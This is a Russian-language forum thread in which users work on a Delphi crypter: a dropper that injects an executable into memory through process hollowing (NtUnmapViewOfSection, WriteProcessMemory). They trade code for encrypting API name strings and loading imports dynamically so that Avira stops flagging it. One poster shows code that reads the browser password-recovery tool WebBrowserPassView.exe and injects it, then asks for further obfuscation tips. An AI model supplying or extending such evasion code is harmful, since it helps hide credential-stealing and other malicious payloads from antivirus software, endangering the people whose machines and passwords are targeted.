Дата: Понедельник, 30.12.2013, 12:36 | Сообщение # 27
Участник
Зарегистрирован: 08.05.2013
Группа: Пользователи
Сообщений: 66
Статус: Offline
ЦитатаAnton93 ()
возможно делфи паленая)
Хм вроде на форуме где-то был пост о том что антивири кричали на пустое консольное приложение. Возможно они действительно так на какой-то кусок ассемблерного кода вкомпилированного в exe дельфийским компилем так реагируют Главное - не изобретать велосипед
Дата: Понедельник, 30.12.2013, 15:54 | Сообщение # 28
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
ЦитатаHargen ()
Хм вроде на форуме где-то был пост о том что антивири кричали на пустое консольное приложение. Возможно они действительно так на какой-то кусок ассемблерного кода вкомпилированного в exe дельфийским компилем так реагируют
Как Антон уже сказал, что после того как он раскровырял свой файл,он был в шоке, ибо были левые вызовы левых .dll - думаю именно из за этого происходит левый детект
d4rkzy, интересно) авира мне про хиджекинг ни разу не писала)) наверное ты делаешь загрузку библиотеки как то необычно. такая реакция идет когда подменяешь библиотеку из которой идет импорт чтобы подгрузиться в чужое адресное пространство
Код
function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';
Ну вот так у меня стоит погрузка функции из длл.
Тоесть дедект идет из за вызова этой длл, решения два: Не юзать длл (Юзать свой код на дельфи) Или спрятать вызов длл.
Больше склоняюсь к первому конечно, ну интерестей сделать вызов длл: Надумал два решения: 1) Вызывать хеш функции (Читал в какой то статье что можно вызывать функции из длл по хешу) 2) Еще думаю можно при старте программы погружать длл'ку в себя, и после вызывать функцию из своего ехе'шника (Не знаю поможет ли обойти авиру)
Anton93, Можешь словом помочь?)))
Добавлено (02.01.2014, 18:13) --------------------------------------------- А вот теперь это меня уже серьезно пугает, убрал вызов .dll и сделал скан Авира не перестала кричать, все так же
итал мельком. не использую данный метод. я делаю через динамическую загрузку с шифрованием. если интересно - пиши, выложу код для примера. переделаешь под себя. для справки: тот импорт что ты привел это статичная загрузка, это очень палевно.
function EnDeCrypt(const Value : String) : String; var CharIndex : integer; begin Result := Value; for CharIndex := 1 to Length(Value) do Result[CharIndex] := chr(not(ord(Value[CharIndex]))); end;
var hUser32 : Cardinal; xMessageBoxA : TMessageBoxA; sMessageBoxA : PAnsiChar; begin sMessageBoxA := PAnsiChar(EnDeCrypt('²šŒŒž˜š½‡¾')); hUser32 := LoadLibraryA('user32.dll'); @xMessageBoxA := GetProcAddress(hUser32, sMessageBoxA); if Assigned(xMessageBoxA) then xMessageBoxA(0, 'Hello World', '', 0); end.
прочти мой предыдущий пост еще раз внимательно. может просто ты не заметил. делфи по дефолту еще грузит многое, что можно вручную отследить.. я про то, что функции другие которые ты вызываешь для работы, думаешь что описаны делфи, а они, по факту, как та, через external спрятаны в модулях, таких как windows например ICQ: 41896
Сообщение отредактировал Anton93 - Четверг, 02.01.2014, 19:45
Anton93, Вопросец, щас делаю запутку в функциях, ав не палят, гуд. Можно ли процесс этот ускорить, делаю запутку в главной функции (которая стартует все другие функции - на форме это oncreate, не знаю как в консольном обзываетя))) Щас попробую тест сделать (А вдруг )
прочти мой предыдущий пост еще раз внимательно. может просто ты не заметил. делфи по дефолту еще грузит многое, что можно вручную отследить.. я про то, что функции другие которые ты вызываешь для работы, думаешь что описаны делфи, а они, по факту, как та, через external спрятаны в модулях, таких как windows например
Оу, точно, вылетело из головы, щас попробую
Добавлено (02.01.2014, 19:55) --------------------------------------------- Ухты. Кликнул на первую, дало результат: function WriteProcessMemory; external kernel32 name 'WriteProcessMemory'; Тоесть теперь нужно написать функую которая будет вызызвать эту (например) функцию с шифрованием?)
Добавлено (02.01.2014, 21:41) --------------------------------------------- Anton93, Уже не надо) разобрался - давольно таки легко, если способ работает с меня билдер шифрованых функций (сори ща ошибки =) )
Когда шифровал вызовы, понял что нельзя шифровать потоки (Ибо софт не успеевает расширофвать)
Авира осталась - что делать?)
Добавлено (02.01.2014, 22:58) --------------------------------------------- Anton93, Осталось совсем чуть чуть, авира теперь говоит Contains recognition pattern of the DR/Delphi.Gen dropper Те она не уверена)
теперь необходимо обфускацировать чтение exe файла из тела, который ты инжектишь
а точней? Для теста у меня такой код был:
Function amnRFile(Ruta: string): string; var sFile: HFile; Buff: string; uBytes: Cardinal; begin sFile:= _lopen(PChar(Ruta), OF_READ); uBytes:= GetFileSize(sFile, nil); SetLength(Buff, uBytes); _lread(sfile, @Buff[1], uBytes); _lclose(sFile); Result:= Buff; end;
begin a := amnrfile('WebBrowserPassView.exe'); inject(ParamStr(0), '', @a[1]); end;
Добавлено (02.01.2014, 23:09) --------------------------------------------- Anton93, Википедия помогла, теперь узнал что обсуфикаия это запутывание кода)) Подсказки будут по поводу запутки?))